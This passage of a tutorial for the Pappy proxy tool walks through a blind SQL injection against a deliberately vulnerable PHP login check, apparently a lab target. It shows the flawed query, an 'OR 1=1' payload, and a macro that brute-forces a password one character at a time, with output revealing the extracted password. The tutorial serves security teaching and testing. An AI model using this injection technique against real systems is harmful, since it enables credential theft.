<p>Awesome! Notice how we didn’t have to deal with authentication either. This is because the authentication is handled by the <codeclass="docutils literal"><spanclass="pre">Authorization</span></code> header which was included in the generated request.</p>
<p>Time to add the SQL injection part. If we look at the source, we see that this is the SQL query that checks the username:</p>
<divclass="highlight-python"><divclass="highlight"><pre><span></span>$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
<p>In this case, any username that ends in <codeclass="docutils literal"><spanclass="pre">"</span><spanclass="pre">OR</span><spanclass="pre">1=1;</span><spanclass="pre">#</span></code> will be considered a valid username. Let’s try this out:</p>
pappy> rma brute "fooooooo\" OR 1=1;"
fooooooo" OR 1=1; is a user!
pappy>
</pre></div>
</div>
<p>Great! Now we can check any true/false condition we want. In this case, we want to check if a certain character is at a certain position in the <codeclass="docutils literal"><spanclass="pre">password</span></code> column. We do this with the <codeclass="docutils literal"><spanclass="pre">ASCII</span></code> and <codeclass="docutils literal"><spanclass="pre">SUBSTRING</span></code> functions. So something like this will check if the first character is an <codeclass="docutils literal"><spanclass="pre">A</span></code>.:</p>
<spanclass="k">if</span><spanclass="s2">"This user doesn't exist."</span><spanclass="ow">in</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">response</span><spanclass="o">.</span><spanclass="n">raw_data</span><spanclass="p">:</span>
<spanclass="k">print</span><spanclass="s1">'</span><spanclass="si">%s</span><spanclass="s1"> is the first char!'</span><spanclass="o">%</span><spanclass="n">c</span>
<p>We find the first character! Woo! Next we just have to do this for each position. Even through we don’t know the length of the password, we will know that the password is over when none of the characters are valid. So let’s update our macro:</p>
<spanclass="k">if</span><spanclass="s2">"This user doesn't exist."</span><spanclass="ow">in</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">response</span><spanclass="o">.</span><spanclass="n">raw_data</span><spanclass="p">:</span>
<spanclass="k">print</span><spanclass="s1">'</span><spanclass="si">%s</span><spanclass="s1"> is char </span><spanclass="si">%d</span><spanclass="s1">!'</span><spanclass="o">%</span><spanclass="p">(</span><spanclass="n">c</span><spanclass="p">,</span><spanclass="nb">len</span><spanclass="p">(</span><spanclass="n">password</span><spanclass="p">)</span><spanclass="o">+</span><spanclass="mi">1</span><spanclass="p">)</span>
<spanclass="k">print</span><spanclass="s1">'The password so far is </span><spanclass="si">%s</span><spanclass="s1">'</span><spanclass="o">%</span><spanclass="n">password</span>
<spanclass="c1"># We have to do another round</span>
<spanclass="k">print</span><spanclass="s1">'Done! The password is "</span><spanclass="si">%s</span><spanclass="s1">"'</span><spanclass="o">%</span><spanclass="n">password</span>
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W
W is char 1!
The password so far is W
a
a is char 2!
The password so far is Wa
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I
I is char 3!
The password so far is WaI
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H
H is char 4!
The password so far is WaIH
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E
... snip ...
The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nh
a b c d e f g h i j k l m
m is char 31!
The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nhm
a b c d e f g h
h is char 32!
The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 0
Done! The password is "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"
pappy>
</pre></div>
</div>
<p>Boom! There it is!</p>
</div>
</div>
<divclass="section"id="conclusion">
<h2><aclass="toc-backref"href="#id27">Conclusion</a><aclass="headerlink"href="#conclusion"title="Permalink to this headline">¶</a></h2>
<p>That’s pretty much all you need to get started with Pappy. Make sure to go through the documentation to learn about all the other features that weren’t covered in this tutorial. Hopefully you didn’t find Pappy too hard to use and you’ll consider it for your next engagement.</p>